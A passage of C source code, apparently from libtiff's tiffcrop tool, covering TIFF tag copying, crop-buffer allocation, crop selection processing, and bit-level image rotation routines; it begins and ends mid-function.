break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { if (pageNum < 0) /* only one input file */ TIFFSetField(out, TIFFTAG_PAGENUMBER, pg0, pg1); else TIFFSetField(out, TIFFTAG_PAGENUMBER, pageNum++, 0); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Update these since they are overwritten from input res by loop above */ TIFFSetField(out, TIFFTAG_XRESOLUTION, (float)hres); TIFFSetField(out, TIFFTAG_YRESOLUTION, (float)vres); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) writeBufferToContigTiles (out, sect_buff, length, width, spp, dump); else writeBufferToSeparateTiles (out, sect_buff, length, width, spp, dump); } else { if (config == PLANARCONFIG_CONTIG) writeBufferToContigStrips (out, sect_buff, length); else writeBufferToSeparateStrips(out, sect_buff, length, width, spp, dump); } if (!TIFFWriteDirectory(out)) { TIFFClose(out); return (-1); } return (0); } /* end writeSingleSection */ /* Create a buffer to write one section at a time */ static int createImageSection(uint32 sectsize, unsigned char **sect_buff_ptr) { unsigned char *sect_buff = NULL; unsigned char *new_buff = NULL; static uint32 prev_sectsize = 0; sect_buff = *sect_buff_ptr; if (!sect_buff) { sect_buff = (unsigned char *)_TIFFmalloc(sectsize); *sect_buff_ptr = sect_buff; _TIFFmemset(sect_buff, 0, sectsize); } else { if (prev_sectsize < sectsize) { new_buff = _TIFFrealloc(sect_buff, sectsize); if (!new_buff) { free (sect_buff); sect_buff = (unsigned char *)_TIFFmalloc(sectsize); } else sect_buff = new_buff; _TIFFmemset(sect_buff, 0, sectsize); } } if (!sect_buff) { TIFFError("createImageSection", "Unable to allocate/reallocate section buffer"); return (-1); } prev_sectsize = sectsize; *sect_buff_ptr = sect_buff; return (0); } /* end createImageSection */ /* Process selections defined by regions, zones, margins, or fixed sized areas */ static int processCropSelections(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, struct buffinfo seg_buffs[]) { int i; uint32 width, length, total_width, total_length; tsize_t cropsize; unsigned char *crop_buff = NULL; unsigned char *read_buff = NULL; unsigned char *next_buff = NULL; tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; if (crop->img_mode == COMPOSITE_IMAGES) { cropsize = crop->bufftotal; crop_buff = seg_buffs[0].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = cropsize; /* Checks for matching width or length as required */ if (extractCompositeRegions(image, crop, read_buff, crop_buff) != 0) return (1); if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for composite regions"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } /* Mirror and Rotate will not work with multiple regions unless they are the same width */ if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror composite regions %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate composite regions by %d degrees", crop->rotation); return (-1); } seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = (((crop->combined_width * image->bps + 7 ) / 8) * image->spp) * crop->combined_length; } } else /* Separated Images */ { total_width = total_length = 0; for (i = 0; i < crop->selections; i++) { cropsize = crop->bufftotal; crop_buff = seg_buffs[i].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = cropsize; if (extractSeparateRegion(image, crop, read_buff, crop_buff, i)) { TIFFError("processCropSelections", "Unable to extract cropped region %d from image", i); return (-1); } width = crop->regionlist[i].width; length = crop->regionlist[i].length; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for region"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror crop region %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->regionlist[i].width, &crop->regionlist[i].length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate crop region by %d degrees", crop->rotation); return (-1); } total_width += crop->regionlist[i].width; total_length += crop->regionlist[i].length; crop->combined_width = total_width; crop->combined_length = total_length; seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = (((crop->regionlist[i].width * image->bps + 7 ) / 8) * image->spp) * crop->regionlist[i].length; } } } return (0); } /* end processCropSelections */ /* Copy the crop section of the data from the current image into a buffer * and adjust the IFD values to reflect the new size. If no cropping is * required, use the origial read buffer as the crop buffer. * * There is quite a bit of redundancy between this routine and the more * specialized processCropSelections, but this provides * the most optimized path when no Zones or Regions are required. */ static int createCroppedImage(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, unsigned char **crop_buff_ptr) { tsize_t cropsize; unsigned char *read_buff = NULL; unsigned char *crop_buff = NULL; unsigned char *new_buff = NULL; static tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; /* process full image, no crop buffer needed */ crop_buff = read_buff; *crop_buff_ptr = read_buff; crop->combined_width = image->width; crop->combined_length = image->length; cropsize = crop->bufftotal; crop_buff = *crop_buff_ptr; if (!crop_buff) { crop_buff = (unsigned char *)_TIFFmalloc(cropsize); *crop_buff_ptr = crop_buff; _TIFFmemset(crop_buff, 0, cropsize); prev_cropsize = cropsize; } else { if (prev_cropsize < cropsize) { new_buff = _TIFFrealloc(crop_buff, cropsize); if (!new_buff) { free (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = new_buff; _TIFFmemset(crop_buff, 0, cropsize); } } if (!crop_buff) { TIFFError("createCroppedImage", "Unable to allocate/reallocate crop buffer"); return (-1); } *crop_buff_ptr = crop_buff; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to invert colorspace for image or cropped selection"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to mirror image or cropped selection %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, crop_buff_ptr)) { TIFFError("createCroppedImage", "Failed to rotate image or cropped selection by %d degrees", crop->rotation); return (-1); } } if (crop_buff == read_buff) /* we used the read buffer for the crop buffer */ *read_buff_ptr = NULL; /* so we don't try to free it later */ return (0); } /* end createCroppedImage */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. * Use of global variables for config, compression and others * should be replaced by addition to the crop_mask struct (which * will be renamed to proc_opts indicating that is controlls * user supplied processing options, not just cropping) and * then passed in as an argument. */ static int writeCroppedImage(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, unsigned char *crop_buff, int pagenum, int total_pages) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeCroppedImage", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* $holdout mask */ { TIFFError ("writeCroppedImage", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else { if (input_compression == COMPRESSION_SGILOG || input_compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } } if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeCroppedImage", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeCroppedImage", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (bps != 1) { TIFFError("writeCroppedImage", "Group 3/4 compression is not usable with bps > 1"); return (-1); } if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; case COMPRESSION_NONE: break; default: break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { TIFFSetField(out, TIFFTAG_PAGENUMBER, pagenum, total_pages); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write contiguous tile data for page %d", pagenum); } else { if (writeBufferToSeparateTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate tile data for page %d", pagenum); } } else { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigStrips (out, crop_buff, length)) TIFFError("","Unable to write contiguous strip data for page %d", pagenum); } else { if (writeBufferToSeparateStrips(out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate strip data for page %d", pagenum); } } if (!TIFFWriteDirectory(out)) { TIFFError("","Failed to write IFD for page number %d", pagenum); TIFFClose(out); return (-1); } return (0); } /* end writeCroppedImage */ static int rotateContigSamples8bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 src_byte = 0, src_bit = 0; uint32 row, rowsize = 0, bit_offset = 0; uint8 matchbits = 0, maskbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples8bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (row = 0; row < length ; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*next) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else { buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end rotateContigSamples8bits */ static int rotateContigSamples16bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint16 matchbits = 0, maskbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples16bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (next[0] << 8) | next[1]; else buff1 = (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end rotateContigSamples16bits */ static int rotateContigSamples24bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint32 matchbits = 0, maskbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint32)-1 >> (32 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; else buff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end rotateContigSamples24bits */ static int rotateContigSamples32bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 row, rowsize, bit_offset; uint32 src_byte, src_bit; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint64)-1 >> (64 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; longbuff2 = longbuff1; } else { longbuff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end rotateContigSamples32bits */ /* Rotate an image by a multiple of 90 degrees clockwise */ static int rotateImage(uint16 rotation, struct image_data *image, uint32 *img_width, uint32 *img_length, unsigned char **ibuff_ptr) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, src_offset, dst_offset; uint32 i, col, width, length; uint32 colsize, buffsize, col_offset, pix_offset; unsigned char *ibuff; unsigned char *src; unsigned char *dst; uint16 spp, bps; float res_temp; unsigned char *rbuff = NULL; width = *img_width; length = *img_length; spp = image->spp; bps = image->bps; rowsize = ((bps * spp * width) + 7) / 8; colsize = ((bps * spp * length) + 7) / 8; if ((colsize * width) > (rowsize * length)) buffsize = (colsize + 1) * width; else buffsize = (rowsize + 1) * length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (rotation) { case 0: case 360: return (0); case 90: case 180: case 270: break; default: TIFFError("rotateImage", "Invalid rotation angle %d", rotation); return (-1); } if (!(rbuff = (unsigned char *)_TIFFmalloc(buffsize))) { TIFFError("rotateImage", "Unable to allocate rotation buffer of %1u bytes", buffsize); return (-1); } _TIFFmemset(rbuff, '\0', buffsize); ibuff = *ibuff_ptr; switch (rotation) { case 180: if ((bps % 8) == 0) /* byte alligned data */ { src = ibuff; pix_offset = (spp * bps) / 8; for (row = 0; row < length; row++) { dst_offset = (length - row - 1) * rowsize; for (col = 0; col < width; col++) { col_offset = (width - col - 1) * pix_offset; dst = rbuff + dst_offset + col_offset; for (i = 0; i < bytes_per_pixel; i++) *dst++ = *src++; } } } else { /* non 8 bit per sample data */ for (row = 0; row < length; row++) { src_offset = row * rowsize; dst_offset = (length - row - 1) * rowsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (reverseSamples8bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (reverseSamples16bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (reverseSamples24bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; break; case 90: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = ((length - 1) * rowsize) + (col * bytes_per_pixel); dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src -= rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = (length - 1) * rowsize; dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if 